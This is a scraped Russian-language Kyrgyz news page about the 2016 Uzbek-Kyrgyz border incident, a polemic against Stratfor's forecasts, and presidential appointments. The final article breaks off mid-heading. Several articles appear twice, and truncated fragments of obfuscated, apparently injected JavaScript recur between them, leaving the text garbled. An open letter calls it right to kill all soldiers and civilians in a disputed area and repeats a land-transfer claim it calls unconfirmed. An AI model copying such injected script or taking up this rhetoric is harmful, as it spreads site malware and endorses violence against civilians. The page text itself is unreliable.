Menu

ПОЛИТИКА

Турсунбек Акун, экс-Омбудсмен КР: "Спорный участок «Сары-Булак», где сейчас зашли узбекские пограничники  передали 5-6 лет тому назад Узбекистану новым Временным Правительством КР"

Глава государства должны были решать  пограничные вопросы до сегодняшнего конфликта.
Он должен был наладить хорошие межгосударственные отношение с главами соседних государств, в частности Президентом Узбекистана Исламом Каримовым. К сожалению этого не случилось.  Прежде чем считать дни когда он уйдёт с поста, он в течение пяти лет должен был решать пограничные вопросы который имеет важнейшие значение для простых граждан.Прежде чем конфликтовать с Президентом Узбекистана он должен была делать добрый жест и первый подать руки Президенту Каримову.
Во-первых, Каримов около 30 лет находится у власти. Во-вторых, по возрасти он намного старше. Учитывая традиции и обычаи азиатских народов он должен был как младший уважающий старших сделать первый шаг для налаживания добрососедских отношений. Из-за недобрососедских отношений руководителей государств страдает ни в чём не повинные люди и граждане данных государств.
Поэтому уважаемый наш Президент Алмазбек Атамбаев, пока не поздно срочно наладить отношения с Узбекистаном и своим Узбекским лидером сесть на стол переговоров. Второй вопрос который я хотел поднять- это работа Пограничной службы Кыргызстана.
По событиям 18 марта 2016 года, где пограничники Узбекистана зашли в нашу территорию.
Наши пограничники допустили грубые ошибки и допустили вооруженных людей другого государства на нашу территорию. Они должны были не допускать пограничников другого государства и после очередного предупреждения необходимо было применить законные силы.
А когда они уже зашли и наши не увидели по какой-то причине, в таком случае наши должны были дать им предупреждение и установить в  кратчайшие сроки освобождение территории. При невыполнении данного предупреждения мы должны были открыть огонь и применить военную  силу. Сила государства и законности заключается в охране государственной границы как зеницы ока.
Пограничники Узбекистана в течение 5 дней не освобождают нашу территорию(пуст даже спорный) мы не можем что-то сделать и ждём кого-то сверху. В результате такой беспечности, мы потеряли огромную территорию и соседние государства постепенно отбирают нашу землю.
Идет постепенная сползающая экспансия на нашу территорию.
Если наши пограничники зашли бы на спорные территории Узбекистана без предупреждения, они тут же открыли бы огонь  без предупреждения и незамедлительно очистили бы  свою территории (убили бы всех военных и гражданских лиц). И это была бы правильно с их стороны. Потому что есть межгосударственные соглашение о неприкосновенности спорных территорий, пока они не решатся в результате демаркации и делимитации. А когда  Узбекская сторона грубо нарушает принятое соглашение, мы просто наблюдаем и не применяем никаких мер.
В таком случае  у меня есть предположение, что этот спорный участок давно передан Узбекистану и наши руководители скрывают этот факт от народа. В противном случае Узбекские вооруженные солдаты нагло не зашли бы в нашу территорию.
Из неподтвержденных из Узбекистана информаций мы узнали, что спорный участок «Сары-Булак», где сейчас зашли узбекские пограничники  передали 5-6 лет тому назад Узбекистану новым Временным Правительством Кыргызской Республики.
В народе говорят «Молчание- знак согласия». Когда власти молчат, есть на это веская причина.
Информацию о передаче земли Узонгу-Кууша в Китайскую республику, мы также узнали через год и тогдашний Парламент не зная его формально ратифицировал. Мне кажется повторяется такая заваруха, теперь с начала правления нового «народного» временного  правительства.

Координатор Конгресса по правам человека стран  Центральной  Азии, 
Председатель руководящего комитета гражданского Форума                Турсунбек Акун
 
Адрес: ул.Киевская 107
Тел: 0777 27 54 34; 0550 05 30 30
E-mail: [email protected]
 
 

Б.Адылов начал рабочую поездку по Ошской области

С 22 по 25 марта текущего года Председатель Государственной службы миграции при Правительстве Кыргызской Республики Б.Адылов начал рабочую поездку по Ошской  области.

Сегодня Б.Адылов встретился с полномочным представителем ПКР по Ошской области Т.Сарыбашевым где обсудил насущные вопросы миграции, где в основной контингент мигрантов сосредеточено в Южном регионе, поделился с  приоритетными направлениями развития миграционной политики. Отметил важность решения миграции.

Председатель посетит Араванский, Ноокатский, Алайский иУзгенские районы.   В рамках встречи запланировано встреча с местным населением, представителями  местных органов власти.  Будет  проведена разъяснительная работа по вопросам: -о правилах перемещения и трудоустройства в странах Евразийского экономического союза и по выводу граждан  из списка лиц въезд которым на территорию Российской Федерации временно запрещен;- проблемы этинических кыргызов и пути их решения.

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "kyrgyztoday.kg"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "kyrgyztoday.kg"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Турсунбек Акун, экс-Омбудсмен КР: "Спорный участок «Сары-Булак», где сейчас зашли узбекские пограничники  передали 5-6 лет тому назад Узбекистану новым Временным Правительством КР"

Глава государства должны были решать  пограничные вопросы до сегодняшнего конфликта.
Он должен был наладить хорошие межгосударственные отношение с главами соседних государств, в частности Президентом Узбекистана Исламом Каримовым. К сожалению этого не случилось.  Прежде чем считать дни когда он уйдёт с поста, он в течение пяти лет должен был решать пограничные вопросы который имеет важнейшие значение для простых граждан.Прежде чем конфликтовать с Президентом Узбекистана он должен была делать добрый жест и первый подать руки Президенту Каримову.
Во-первых, Каримов около 30 лет находится у власти. Во-вторых, по возрасти он намного старше. Учитывая традиции и обычаи азиатских народов он должен был как младший уважающий старших сделать первый шаг для налаживания добрососедских отношений. Из-за недобрососедских отношений руководителей государств страдает ни в чём не повинные люди и граждане данных государств.
Поэтому уважаемый наш Президент Алмазбек Атамбаев, пока не поздно срочно наладить отношения с Узбекистаном и своим Узбекским лидером сесть на стол переговоров. Второй вопрос который я хотел поднять- это работа Пограничной службы Кыргызстана.
По событиям 18 марта 2016 года, где пограничники Узбекистана зашли в нашу территорию.
Наши пограничники допустили грубые ошибки и допустили вооруженных людей другого государства на нашу территорию. Они должны были не допускать пограничников другого государства и после очередного предупреждения необходимо было применить законные силы.
А когда они уже зашли и наши не увидели по какой-то причине, в таком случае наши должны были дать им предупреждение и установить в  кратчайшие сроки освобождение территории. При невыполнении данного предупреждения мы должны были открыть огонь и применить военную  силу. Сила государства и законности заключается в охране государственной границы как зеницы ока.
Пограничники Узбекистана в течение 5 дней не освобождают нашу территорию(пуст даже спорный) мы не можем что-то сделать и ждём кого-то сверху. В результате такой беспечности, мы потеряли огромную территорию и соседние государства постепенно отбирают нашу землю.
Идет постепенная сползающая экспансия на нашу территорию.
Если наши пограничники зашли бы на спорные территории Узбекистана без предупреждения, они тут же открыли бы огонь  без предупреждения и незамедлительно очистили бы  свою территории (убили бы всех военных и гражданских лиц). И это была бы правильно с их стороны. Потому что есть межгосударственные соглашение о неприкосновенности спорных территорий, пока они не решатся в результате демаркации и делимитации. А когда  Узбекская сторона грубо нарушает принятое соглашение, мы просто наблюдаем и не применяем никаких мер.
В таком случае  у меня есть предположение, что этот спорный участок давно передан Узбекистану и наши руководители скрывают этот факт от народа. В противном случае Узбекские вооруженные солдаты нагло не зашли бы в нашу территорию.
Из неподтвержденных из Узбекистана информаций мы узнали, что спорный участок «Сары-Булак», где сейчас зашли узбекские пограничники  передали 5-6 лет тому назад Узбекистану новым Временным Правительством Кыргызской Республики.
В народе говорят «Молчание- знак согласия». Когда власти молчат, есть на это веская причина.
Информацию о передаче земли Узонгу-Кууша в Китайскую республику, мы также узнали через год и тогдашний Парламент не зная его формально ратифицировал. Мне кажется повторяется такая заваруха, теперь с начала правления нового «народного» временного  правительства.

Координатор Конгресса по правам человека стран  Центральной  Азии, 
Председатель руководящего комитета гражданского Форума                Турсунбек Акун
 
Адрес: ул.Киевская 107
Тел: 0777 27 54 34; 0550 05 30 30
E-mail: [email protected]
 
 

Б.Адылов начал рабочую поездку по Ошской области

С 22 по 25 марта текущего года Председатель Государственной службы миграции при Правительстве Кыргызской Республики Б.Адылов начал рабочую поездку по Ошской  области.

Сегодня Б.Адылов встретился с полномочным представителем ПКР по Ошской области Т.Сарыбашевым где обсудил насущные вопросы миграции, где в основной контингент мигрантов сосредеточено в Южном регионе, поделился с  приоритетными направлениями развития миграционной политики. Отметил важность решения миграции.

Председатель посетит Араванский, Ноокатский, Алайский иУзгенские районы.   В рамках встречи запланировано встреча с местным населением, представителями  местных органов власти.  Будет  проведена разъяснительная работа по вопросам: -о правилах перемещения и трудоустройства в странах Евразийского экономического союза и по выводу граждан  из списка лиц въезд которым на территорию Российской Федерации временно запрещен;- проблемы этинических кыргызов и пути их решения.

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "kyrgyztoday.kg"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "kyrgyztoday.kg"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Узбекистан переходит от угроз к действиям

Узбекский президент Ислам Каримов перешел от угроз к действиям. 18 марта военные Узбекистана вошли на неописанный участок, перекрыли участок автодороги Кербен – Ала-Бука, выставили два БТР и военнослужащих
Стоит напомнить, что еще в ноябре 2012 года во время двусторонней встречи в Астане узбекский президент заявлял, что в Центрально-Азиатском регионе скоро может начаться война за водные ресурсы. Эта угроза Каримова была направлена в адрес своего соседа – Кыргызстана.
Пренебрегая нормами международного права и двусторонними соглашениями, узбекская сторона буквально захватила спорную территорию с использованием военных сил и бронированной техники.
Неспроста был захвачен именно этот участок. Достаточно легко объяснить стратегические цели соседнего государства, ведь это была продуманная кампания. В 14 километрах от узбекской границы на кыргызской территории находится Орто-Токойское водохранилище, поэтому захват участка в Аксыйском районе был нужен для прорыва военных на Орто-Токойское водохранилище.
Запрет кыргызской стороной проезда гуманитарной экспедиции для этнических узбеков, проживающих вокруг водохранилища, является предлогом для разжигания конфликта. Ведь ни для кого не секрет, что в действительности Каримова никогда не волновала судьба узбеков, проживающих на территории Ферганской долины. Вспомним кровавое подавление Андижанских событий 2005 года. И тем более этнических узбеков, проживающих за ее пределами.
Несмотря на информационную блокаду в Узбекистане, просачиваются тревожные известия от жителей узбекских приграничных сел Нанай и Манай Наманганской области о том, что в их селах стянуто более 50 единиц тяжелой военной техники и около 3000 военнослужащих в полной боевой амуниции, которые размещены в домах местных жителей. При этом из указанных сел в спешном порядке вывозятся пожилые люди и дети вглубь территории Узбекистана.
Агрессивная политика Узбекистана на сегодняшний день – угроза не только Кыргызстану, но и безопасности всего региона, это должны помнить все. Своими действиями страна пытается спровоцировать Кыргызстан на неправомерные действия, при этом объясняя свои шаги усилением безопасности во время Нооруза. Более того, решительность Узбекистана наводит на мысль о том, что агрессия с узбекской стороны была совершена с поддержки пресловутых третьих сил.
Действия узбекской стороны вызывают настороженность и опасения населения на юге страны, которое пережило трагические события 2010 года. Этим также не преминут воспользоваться оппозиционеры и другие силы, которым все равно, на чем зарабатывать политические очки.
Источник: “Вечерний Бишкек”

Токон Мамытов, Экс-председатель Госпогранслужбы КР : "Заблокированный узбекскими военными участок - с 1938 года принадлежал Киргизской ССР"

Экс-председатель Государственной пограничной службы КР Токон Мамытов сообщил «Кабарлар», что заблокированный участок автодороги «Кербен – Ала-Бука» с 1938 года находился в юрисдикции Киргизской ССР.
«Нужно отметить, что с 1938 года данный участок принадлежал сельхозартели «Бирлик» Караванского района Киргизской ССР. С 1951 года данный участок принадлежал сельхозартели «Ленин-Жол» Караванского района Киргизской ССР. С 1960 года этот участок приписан колхозу им. Ленина Жаны-Жольского района (ныне Аксыйский)», – отметил Мамытов.
Мамытов отметил, что Государственная пограничная служба и Министерство иностранный дел Кыргызстана должны потребовать официальных объяснений по поводу появления военной техники на неописанном участке госграницы в местности Чала-Сарт.
По его словам, многие годы спорный участок Аксыйского района принадлежал Кыргызстану.
«Площадь данного участка составляет 50 га. Именно через эту территорию проходят автотрасса Ала-Бука – Кербен. Протяженность оспариваемой дороги на данном участке составляет около 1,8 км. Кроме этой автотрассы проходят линии электропередач Кыргызстана протяженностью примерно в 350 метров», – отметил Мамытов.
Экс-председатель службы подчеркнул, что данная территория находится на балансе Кашка-Суйского айыльного округа.
«Фактически данная территория используется гражданами КР. Здесь линия прохождения границы между Узбекистаном и Кыргызстаном не завершена. Переговорный процесс продолжается. Мы считаем, что это наша территория, ведь там живут наши граждане, которые данную территорию используют под сельскохозяйственные нужды. Появление вооруженной техники Узбекистана на этом участке вызывает много вопросов. Узбекская сторона должна объяснить на каком основании находится военная техника, согласовала ли она свои действия с Государственной пограничной службой Кыргызстана. ГПС и МИД должны потребовать от узбекской стороны официальных объяснений», – отметил он.
Напомним, что 18 марта 2016 г. в 07:40 в местности Могол Ала-Букинского района Джалал-Абадской области на неописанном участке кыргызско-узбекской государственной границы военнослужащие Республики Узбекистан выставили 2 единицы БТР и 2 «КамАЗа». Кроме того, на этой территории находятся около 35-40 военнослужащих Узбекистана.
Источник: kabarlar.org

«Теневое ЦРУ» предрекло миру новую большую войну

Основатель «частной разведки» Stratfor, которую часто называют «теневым ЦРУ», предрек миру новую большую войну, включающую, помимо прочего, новый конфликт между США и Японией. Затрагивает столь зловещий прогноз и Россию, будущее которой аналитик видит исключительно в черных красках. Но насколько серьезны такие прогнозы и как к ним нужно относиться к России? Основатель агентства Stratfor Джордж Фридман предрек эпоху новых войн, в том числе, в Европе и между США и Японией. «Надо быть готовыми к войне, — подчеркнул он. — Семилетняя война в Европе, наполеоновские войны в XIX веке, великие мировые войны — в каждом столетии что-то было. Хотите ли вы держать пари, что в этом столетии ничего не будет? Я приму это пари…».
Фридман также описал свое видение начала системных войн. Когда одни страны — такие как Германия, Россия, Китай — приходят в упадок, на их место приходят другие. Опасность этой ситуации заключается в том, что новые страны «еще не достигли баланса». То есть, по мысли Фридмана, проблема не в дестабилизации «старых» стран, а в борьбе «новых» (образованных на развалинах «старых») за жизненное пространство. «В 1871 году Германия объединилась, и в итоге начался ад. В начале XX века Япония нарастила мощь, и потом наступил хаос», — приводит примеры глава Stratfor.
При этом Фридман утверждает, что между «1815 по 1871 года в Европе не было значимых войн». Это как минимум забавно для человека, родившегося в Европе (в Будапеште), но оправдано для того, кто получил образование где-то в штате Нью-Йорк, а затем преподавал политологию в частном колледже неподалеку. Фридман просто пропустил Крымскую войну, датско-прусские, прусско-австрийские войны и ряд поменьше.
Начнем с войны между Японией и США. Фридман прогнозирует ее с 1991 года. Тогда была издана «Грядущая война с Японией» — одна из наиболее раскрученных его книг, что было связано, в первую очередь, с потерей спецслужбами США главного противника (ГП) в лице СССР — последней «сверхдержаве» срочно требовалось найти новые угрозы. Тогда к этой работе подключились и другие аффилированные с ЦРУ личности. Так, книга известного беллетриста Тома Клэнси «Долг чести» вышла в 1993 году и повествует ровно об этом — о краткосрочной, но очень технологичной и продуманной войне между США и Японией на фоне экономического противостояния. Считалось, что Клэнси, не обладавший литературными талантами, но очень внимательно относившийся к описанию технологических военных деталей, в ряде своих книг буквально озвучивает жутковатые сценарии, которые ЦРУ разрабатывало во время холодной войны просто так, чтобы «в чулане лежали». Примечательно, что именно в «Долге чести» подробно описывается как после поражения Японии японский пилот гражданского «Боинга» демонстративно направляет свой самолет вместе с невинными пассажирами на Белый дом в Вашингтоне. Это, напомним, в 1993-м году. Дословно не сбылось, но идеи витали в воздухе.
Другой пример: Майкл Крайтон, явно обладавший литературным даром и чутьем на актуальное (впоследствии — автор «Парка юрского периода» и других примечательных вещей, например, сериала «Скорая помощь» и фильма-пророчества «Разоблачение», повествующего о чудовищных последствиях кампании против «сексуальных домогательств»), в 1992 году публикует книгу «Восходящее солнце», блестяще и в кратчайшие сроки экранизированную с Шоном Коннери в главной роли. В ней очень доходчиво рассказывается о том, как японская финансовая олигархия практически захватила США и какие японцы в быту нехорошие.
В целом это походило на спланированную кампанию, которая обеспечила введение ряда дискриминационных законов против японского импорта в США (в особенности, дешевой продукции автопрома). Малоизвестная американо-японская экономическая война в первой половине 90-ых начиналась именно с такой вот литературно-голливудской пропагандистской атаки, местами — высокохудожественной. И политолог Фридман должен упоминаться именно в ряду «сказочников», а никак не в связи с прорывами в геополитическом прогнозировании.
Имя Джорджа Фридмана, провинциального преподавателя странного предмета «политология» стало известно исключительно благодаря тому, что в 80-х годах он сконцентрировался на самой востребованной тогда форме «политологии» — «советологии». На «советологии» делали себе карьеры люди и менее пробивные, что венгерский беженец, но у него была прекрасная стартовая поддержка в виде «односельчанина» Джорджа Сороса, с подачи которого в 1996 году и был организован Stratfor — Strategic Forecasting Inc, которую быстро стали называть «теневым ЦРУ». Первым, кстати, эту формулировку запустил Джон Баррон — автор книги «КГБ сегодня. Невидимые щупальца», американский журналист, специализировавшийся на теме спецслужб и издававший впоследствии журнал собственного имени.
Stratfor принято считать «частной аналитическо-разведывательной компанией», хотя подобного быть не может. Разведывательной деятельностью занимаются только специализированные организации, ограниченные особым законодательством (представить себе частное лицо, занятое разведывательной деятельностью, в принципе, можно, но для выявленного персонажа это вскоре превратится в проблему). Весь этот флёр таинственности и «аналитичности» лишь привлекает к Stratfor внимание и деньги — большая часть деятельности агентства связана не с политикой и разведкой, а с примитивными экономическими заказами. Кто-то хочет получить справку о конкуренте, в интернет лезть лень, а лишних денег много. А кто-то хочет оценить «риски рынка» и обращается в Stratfor, купившись на уже сформированный имидж, хотя любой квалифицированный брокер сделает такой же анализ дешевле. Это замкнутый круг системы: чем больше заказов, чем крепче имидж. И в некоем клубе неподалеку от Уолл-стрит один умник снова скажет другому «а мне анализ рынка шариковых ручек в Мьянме Stratfor делал». А второй умник, чтобы не уронить свое реноме, закажет у Stratfor анализ рынка фломастеров в Таиланде. Всем выгода.
На этом фоне никто не обращает внимания на бессмысленность прогнозов, которые Stratfor творит в сфере геополитики, прикрываясь «крышей» ЦРУ и искусственно накаченным имиджем. Каждые пять лет агентство пытается предсказать ситуацию на планете на десятилетие вперед. И эти прогнозы еще ни разу с момента основания Stratfor не то что не оправдались — они вообще про другую планету.
В первом прогнозе — с 1995 по 2005 год была единственная фраза, в которой упоминалась РФ: «Россия будет стремиться восстановить себя, встречая сопротивление на российских границах Германии, исламских стран и Китая. Каждая из этих стран будет поддерживать сепаратистские элементы в России». Впоследствии Фридман стал говорить, что он предсказал «геополитическое укрепление России», но из приведенной фразы этого не следует, более того, написанное прямо противоположно последовавшему оправданию.

В прогнозе 2000-2010 Стратфор утверждает: «Практически отрезанная от западного капитала и не в состоянии конкурировать на западных рынках, Россия будет вынуждена восстанавливать компоненты бывшего Советского Союза. Общая неспособность бывших республик участвовать в западных хозяйственной деятельности сделает перспективу какой-либо форме повторного федерации привлекательной для многих за пределами России. Национализм будет конкурировать с экономической реальностью, создавая сложную и опасную ситуацию. Россия потратит большую часть следующего десятилетия, в болезненном процессе восстановления своей империи». Что тут сказать? Прогноз был лишен смысла уже на момент его опубликования.

Дальше — еще смешнее, поскольку от прогнозов о восстановлении империи «с выходом на границы Польши и Румынии» и «поглощением стран Балтии» Фридман поменял свою позицию на 180 градусов. В прогнозе с 2005 по 2015 год говорится уже о дезинтеграции, развале России, а не о ее укреплении. «Россия находится в углубляющемся системном кризисе и жесткой и постоянной борьбе между националистическими силами и прозападными. Последует серия политических неудач, возможно, включая потерю территорий, таких, как на Кавказе. Или даже Россия начнет дезинтеграцию до точки, где Москва имеет только номинальный контроль над некоторыми регионами, которые провозгласят независимость. Это произойдет в течение следующего десятилетия. Но к концу 2015 года Россия будет более националистической и этатистской».
Ага. Именно так все и случилось, чтобы Джордж Фридман был здоров.
Следующий десятилетний прогноз с 2010 по 2020 еще веселей. «Россияне будут бороться с внутренними вопросами, начиная от этнической напряженности, заканчивая демографическим спадом. Тем не менее, демографические проблемы в России до сих пор не влияли на ее способность проецировать мощь. В самом деле, Россия может справиться с небольшой численностью населения лучше, чем в другие страны, так как это может создать здоровый баланс между производством и потреблением (для обслуживания трубы хватит 20 миллионов). Россия уже сделала корректировку на пенсию, двигая пенсионный возраст выше среднего возраста мужской смертности. Россия всегда была многонациональной империей, и имеет опыт в управлении нерусским населением. Российская экономика также примет более активное участие в создании не трудоемких отраслей, уменьшая потребность в молодых работниках (независимо от их происхождения). И хотя демографические успехи России гораздо хуже, чем у любой страны в Европе, по-настоящему убийственные последствия своих демографических характеристик, вероятно, не приведут к краху России до 2020-х годов».
Здесь нужно смотреть внимательно. Разговоры об изменении пенсионного возраста всерьез обсуждались в каденцию президента Медведева, когда этот доклад подписывался в печать. Чем это закончилось — известно. И именно в этот период Россия продемонстрировала значительный успех в демографии, причем, показав показатели на порядок лучше, чем любая страна Западной Европы. Но в Stratfor, готовя этот прогноз, о резком росте рождаемости в России не знали, а опирались на данные «фактбук» ЦРУ, в котором была заложена демографическая модель развития от 2004 года. Она не менялась вплоть до 2011-го, рассказывая о вымирании в России по миллиону человек в год. Лишь потом, скрепя зубы, ЦРУ внесло изменения в свою статистическую модель.
Наконец, самое актуально и самое юмористическое — прогноз Stratfor на 2015-2025 года:
«Маловероятно, что Российская Федерация выживет в своем нынешнем виде. Неспособность России превратить свой энергетический доход в самоподдерживающуюся экономику делает ее уязвимой к колебаниям цен на энергоносители. Россия не имеет никакой защиты против этих рыночных сил. Учитывая организацию Российской Федерации, когда доходы текут в Москву, а потом перераспределяются напрямую или через региональные органы власти, поток ресурсов будет резко снижаться. Это приведет к повторению опыта Советского Союза в 1980-е годы и России в 1990-х, в котором способности Москвы поддерживать национальную инфраструктуру снизились. В этом случае, это может привести к мятежу регионов, образованию неформальных и формальных автономий. Исторически сложилось так, что русские решили такие проблемы с помощью тайной полиции — КГБ и его преемницы ФСБ. Но так же, как в 1980-х, тайная полиция не сможет удержать центробежные силы, которые тянут регионы от Москвы, в эту десятилетку. В этом случае власть ФСБ ослабнет. И экономика закончится, так же как силы ФСБ. А без ФСБ которая вдохновляет настоящий террор, фрагментация Российской Федерации не будет предотвращена.
Запад России, Польша, Венгрия и Румыния будут работать, чтобы вывести Беларусь и Украину из-под власти россиян. На юге будет утеряна способность россиян контролировать Северный Кавказ и Центральную Азию. На северо-западе Карельский регион будет стремиться вернуться в Финляндию. На Дальнем Востоке приморские районы все более тесно будут связаны с Китаем, Японией и США, чем с Москвой, это позволит им двигаться независимо друг от друга. Другие районы за пределами Москвы не обязательно будут искать автономию, но будет стараться сделать это. Это конец России: восстаний против Москвы не будет, но способности Москвы для управления Российской Федерацией испарятся. В этом вакууме останутся только отдельные фрагменты Российской Федерации».
Комментировать эту муть не ни желания, ни необходимости. Другое дело, что именно этот свой прогноз Джордж Фридман и защищает в серии интервью специализированным англоязычным СМИ. Под этот бред подводится глобальная основа: именно крупные государства будут разваливаться, а на их руинах государства-малолетки передерутся друг с другом. А США обязательно начнут войну против Японии — или наоборот. Четверть века мы увлеченно ждем этой эпической битвы, начитавших более одаренных авторов. Но именно высказывания Фридмана разбираются на глубокомысленные цитаты в российских либеральных СМИ как некое пророчество.
Репутация сказочника не мешает Фридману ездить по всему миру с лекциями, похожими на заклинания лидера секты. Со всем этим его довольно радушно принимают в ряде российских профильных учебных заведениях и аналитических центрах. Например, в декабре 2014 года он прочел лекцию в МГИМО, где «поделился видением современного миропорядка». Это застарелая болезнь: с 90-х годов значительное количество преподавателей Дипломатической Академии и МГИМО (не говоря уже о РГГУ и ВШЭ) так или иначе связано с западным взглядом на миропорядок — кто лично, кто через стажировки. Случай профессора Зубова не единичен, просто то, что вкладывается в головы студентов и аспирантов профильных учебных заведений российской дипломатии, мало кому видно со стороны. А те, кто с этим сталкивается напрямую, долго не могут понять, как такое вообще возможно.
«Прогнозы» Stratfor не опасны как явление, если понимать, что за ними нет ничего, кроме амбиций странного персонажа с тяжелым детством. Не обсуждать же всерьез концепцию, согласно которой в каждом столетии в Европе происходили по несколько войн, будто никто кроме Фридмана до этого никогда бы не додумался. Но он умудряется произносить это с настолько глубокомысленным видом, что многие готовы уверовать в истину. Шарлатанство — тоже искусство. Иначе бы шарлатаны столько не зарабатывали.
Источник: news.rambler.ru

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "kyrgyztoday.kg"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "kyrgyztoday.kg"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Семью заменили шоферы и телохранители

В Кыргызстане налицо кадровый голод. Причем проблема не в отсутствии молодых и креативных. «Светлых» голов много, но они никому не нужны. Сегодня все больше приходятся ко двору шоферы и телохранители, главным критерием назначения на высокие должности стали преданность и послушность. «Свой» – и этим все сказано.

Кадры решают все

На днях случилось еще одно назначение, которое также вызвало шквал критики кадровой политики президента страны. На должность главного борца с коррупцией – директора АКС ГКНБ – назначен бывший сотрудник Службы госохраны и бывший телохранитель Алмазбека Атамбаева Улан Исраилов. Он также работал в органах внутренних дел, был начальником районного управления. Вот что о нем в свое время говорил нынешний министр внутренних дел Мелис Турганбаев: «Недавно мы назначили начальником Свердловского РУВД Улана Исраилова. Сразу же СМИ стали писать: «Турганбаев назначил начальником телохранителя Алмазбека Атамбаева». Но здесь нет никаких интересов моих, президента или министра. Могу сказать, что здесь всего лишь имело место профессиональное кадровое назначение в интересах дела».

Прежние режимы обвиняли в семейственности и клановости. И Аскар Акаев, и Курманбек Бакиев лишились президентских кресел, потому что на должности назначали исключительно своих родственников, земляков, односельчан. Алмазбек Атамбаев с первых дней прихода к власти кичился тем, что супруга-де на него влияние не имеет, как у Акаева, и братьев у него нет, как у Бакиева. Однако продвигать по карьерной лестнице все же нашлось кого – шоферов и телохранителей. Главное – приближенные, а на профессиональные качества наплевать. Чем в таком случае Атамбаев лучше предшественников?

Шопуризм

То, что сегодня происходит на седьмом этаже «Белого дома» в обществе уже прозвали шопуризм (от слова «шопур» – шофер). Головокружительная карьера бывшего водителя, а ныне советника главы государства Икрамжана Илмиянова, стала притчей во языцех. «Илмиянов Икрамжан Саттарович родился 1 июля 1975 года в селе Катран Ляйлякского района Баткенской области. Высшее образование по специальности «экономист» получил в Кыргызском государственном университете имени Арабаева в 2009 году в возрасте 33 лет. Имеет классный чин «советник государственной службы II класса», –  сообщают о нем СМИ.

Из обычного шофера в заместители руководителя аппарата президента – такой стремительный прыжок он совершил. После скандала с Издательским домом «Вечерний Бишкек», в котором звучало и его имя, как одного из участников рейдерского захвата, временно был отлучен от госслужбы, но не от влияния на кадровую политику в КР. Курирует правоохранительный блок, фактически все назначения в силовые структуры проходят через него. В ноябре 2015 года вернулся на госслужбу, назначен советником президента.

Еще один «талантливый кадр» – Эркин Мамбеталиев. Тоже телохранитель. А еще он – экс-член ОПГ Рыспека Акматбаева, один из немногих оставшихся в живых. Бывшего спецназовца и профессионального стрелка, Мамбеталиева называют «любимчиком» нынешнего президента страны, и это весьма похоже на правду, учитывая, что Атамбаев дважды вытаскивал его из-за решетки. В подробном описании всех его «заслуг» не нуждается, но напомним, что он был признан виновным сразу по нескольким громким уголовным делам – в совершении убийств полковника милиции Чыныбека Алиева 5 мая 2004 года и депутата Жогорку Кенеша КР Жыргалбека Сурабалдиева в июне 2005-го, в соучастии в убийстве Таалайбека Абазова. Вместе с Акматбаевым он проходил обвиняемым по делам об убийстве Хаваджи Заурбекова (зятя «вора в законе» Азиза Батукаева) и члена ОПГ Нурлана Бердикеева. Он был приговорен Верховным судом КР (решения которых, напомним, окончательны и обжалованию не подлежат) к пожизненному лишению свободы, но после апрельских событий 2010 года нижестоящая инстанция  — Бишкекский горсуд оправдал его по вновь открывшимся обстоятельствам. 10 ноября 2010 года он вышел на свободу из зала суда. А позже возглавил службу охраны президента. Сейчас на госслужбе не состоит, по сведениям кыргызскоязычных СМИ, строит пансионат на Иссык-Куле. Но также имеет влияние в КР.

Из грязи в мэры

Недюжинный талант обнаружился и у слесаря Албека Ибраимова – тоже протеже Алмазбека Атамбаева. В 30 лет он стал коммерческим директором в АО «Кыргызавтомаш», предприятия принадлежавшего нынешнему президенту. После возглавил «Автомаш-радиатор» и был директором «Автомаш-Экол» – обе являются дочерними компаниями корпорации «Кыргызавтомаш».

После апрельских событий карьера еще стремительней пошла в гору: ему сразу досталось кресло директора СЭЗ Бишкека, через год он стал председателем правления ОАО «ТНК-Дастан», в 2012 назначен заместителем руководителя аппарата президента, в 2013-м – президентом ОАО «Международный аэропорт «Манас». В 2015 году он попробовал стать депутатом, был в списке СДПК под №42. Но партия власти не набрала достаточного количества голосов и Ибраимов остался не у дел. Однако новая должность такому «талантливому» кадру нашлась очень скоро. Его выдвинули в мэры столицы, он стал единственным кандидатом и… прошел. 1 марта ЦИК вручил новоизбранному градоначальнику удостоверение и он приступил к выполнению обязанностей.

Голова на отсечение

